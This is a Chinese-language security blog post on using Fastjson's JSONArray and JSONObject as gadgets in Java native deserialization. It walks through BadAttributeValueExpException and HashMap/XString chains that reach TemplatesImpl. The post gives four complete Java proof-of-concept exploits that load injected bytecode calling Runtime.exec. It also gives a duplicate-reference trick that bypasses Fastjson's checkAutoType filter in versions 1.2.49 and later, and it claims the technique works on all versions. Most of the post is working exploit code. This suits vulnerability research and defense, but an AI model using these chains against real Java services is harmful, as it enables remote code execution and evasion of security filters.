介绍
除了常见的 Fastjson 在调用自身的 JSON.parseObject() 来反序列化的时候会触发一些 Gadget 导致漏洞,Fastjson 自身其实也会在 jdk 原生反序列化中作为一个 Gadget 来触发漏洞。这就可以绕过高版本 Fastjson 中对 Autotype 的限制。而且这个利用暂时是 Fastjson 全版本通杀的。
分析
既然是与原生反序列化相关,那我们应该在 fastjson 包中看哪些类继承了 Serializable 接口,最后找完只有两个类, JSONArray 和 JSONObject 。
这两个类都继承自 JSON ,而这个类中存在一个 toString() 方法。前面我们在 Fastjson 漏洞总结中提到过,JSON.toString() 可以任意调用任意类的 getter 方法,而有些类的 getter 方法是可以直接触发漏洞的,比如著名的 TemplatesImpl 等等。那现在我们只需要找到 jdk 原生反序列化到 toString() 的链子,就可以连上链子,触发漏洞了。
这里有两个 jdk 原生的链子可以在 readObject() 中任意调 toString() :
- BadAttributeValueExpException.readObject()-> 任意调- toString()
- HashMap.readObject()->- XString.equals()(任意调- equals())-> 任意调- toString()。
POC
两者的 poc 如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 
 | package com.just;
 import com.alibaba.fastjson.JSONArray;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xpath.internal.objects.XString;
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtConstructor;
 
 import javax.management.BadAttributeValueExpException;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Hashtable;
 
 public class Demo8 {
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 
 public static TemplatesImpl getTemplatesImpl() throws Exception {
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
 clazz.addConstructor(constructor);
 byte[][] bytes = new byte[][]{clazz.toBytecode()};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", bytes);
 setValue(templates, "_name", "RANDOM");
 setValue(templates, "_tfactory", null);
 return templates;
 }
 
 public static byte[] serialize(Object object) throws Exception{
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(baos);
 oos.writeObject(object);
 return baos.toByteArray();
 }
 
 public static Object deserialize(byte[] byteArray) throws Exception{
 ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
 ObjectInputStream ois = new ObjectInputStream(bais);
 return ois.readObject();
 }
 
 public static void main(String[] args) throws Exception{
 
 poc2();
 }
 
 public static void poc1() throws Exception{
 JSONArray array = new JSONArray();
 array.add(getTemplatesImpl());
 
 BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
 setValue(exception, "val", array);
 
 deserialize(serialize(exception));
 }
 
 public static void poc2() throws Exception{
 JSONArray array = new JSONArray();
 array.add(getTemplatesImpl());
 
 XString xString = new XString("111");
 
 HashMap hashMap1 = new HashMap();
 HashMap hashMap2 = new HashMap();
 
 hashMap1.put("yy", array);
 hashMap1.put("zZ", xString);
 hashMap2.put("yy", xString);
 hashMap2.put("zZ", array);
 
 HashMap map = new HashMap();
 
 
 Field size = map.getClass().getDeclaredField("size");
 size.setAccessible(true);
 size.set(map, 2);
 Class<?> aClass = Class.forName("java.util.HashMap$Node");
 Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
 constructor.setAccessible(true);
 Object o = Array.newInstance(aClass, 2);
 Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
 Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
 Field table = map.getClass().getDeclaredField("table");
 table.setAccessible(true);
 table.set(map, o);
 
 deserialize(serialize(map));
 }
 }
 
 | 
补充完善
但是上面按照直接思路写的 poc 只能用于 fastjson<=1.2.48 或者 fastjson2 ,在 fastjson 1.2.49 版本及以后上面的 poc 是用不了的,会报错: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。这是为什么呢?
从 1.2.49 开始,我们的 JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法。


在对 JSONArray ( JSONObject )进行反序列化的时候,会通过  Fastjson 自定义的 SecureObjectInputStream 来处理,因此 JSONArray 内部封装了的恶意 TemplatesImpl 对象会被 SecureObjectInputStream#resolveClass() 中的 checkAutoType() 给过滤。
但是这就没办法绕过了吗?
之前在学习jdk7u21和jdk8u20原生反序列化漏洞分析链子的时候提到过,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl 对象,第二个 TemplatesImpl 对象被封装到 JSONArray 中。那么在靶机反序列化我们的 payload 时,如果先用正常的 ObjectInputStream 反序列化了第一个 TemplatesImpl 对象,那么在第二次在 JSONArray.readObject() 中,就不会再用 SecureObjectInputStream 来反序列化这个相同的 TemplatesImpl 对象了,就会绕过 checkAutoType() 的检查!
完善后的 poc :
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 
 | package com.just;
 import com.alibaba.fastjson.JSONArray;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xpath.internal.objects.XString;
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtConstructor;
 import javax.management.BadAttributeValueExpException;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 
 public class Demo8 {
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 
 public static TemplatesImpl getTemplatesImpl() throws Exception {
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
 clazz.addConstructor(constructor);
 byte[][] bytes = new byte[][]{clazz.toBytecode()};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", bytes);
 setValue(templates, "_name", "RANDOM");
 setValue(templates, "_tfactory", null);
 return templates;
 }
 
 public static byte[] serialize(Object object) throws Exception{
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(baos);
 oos.writeObject(object);
 return baos.toByteArray();
 }
 
 public static Object deserialize(byte[] byteArray) throws Exception{
 ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
 ObjectInputStream ois = new ObjectInputStream(bais);
 return ois.readObject();
 }
 
 public static void main(String[] args) throws Exception{
 
 poc4();
 }
 
 public static void poc3() throws Exception{
 TemplatesImpl templates = getTemplatesImpl();
 
 JSONArray array = new JSONArray();
 array.add(templates);
 
 BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
 setValue(exception, "val", array);
 
 HashMap map = new HashMap();
 map.put(templates, exception);
 
 deserialize(serialize(map));
 }
 
 public static void poc4() throws Exception{
 TemplatesImpl templates = getTemplatesImpl();
 
 JSONArray array = new JSONArray();
 array.add(templates);
 
 XString xString = new XString("111");
 
 HashMap hashMap1 = new HashMap();
 HashMap hashMap2 = new HashMap();
 
 hashMap1.put("yy", array);
 hashMap1.put("zZ", xString);
 hashMap2.put("yy", xString);
 hashMap2.put("zZ", array);
 
 HashMap map = new HashMap();
 
 
 Field size = map.getClass().getDeclaredField("size");
 size.setAccessible(true);
 size.set(map, 2);
 Class<?> aClass = Class.forName("java.util.HashMap$Node");
 Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
 constructor.setAccessible(true);
 Object o = Array.newInstance(aClass, 2);
 Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
 Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
 Field table = map.getClass().getDeclaredField("table");
 table.setAccessible(true);
 table.set(map, o);
 
 HashMap obj = new HashMap();
 obj.put(templates, map);
 
 deserialize(serialize(obj));
 }
 }
 
 | 
至此 fastjson 全版本实现了原生反序列化利用!
参考文章
https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%89%8D%E8%A8%80
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/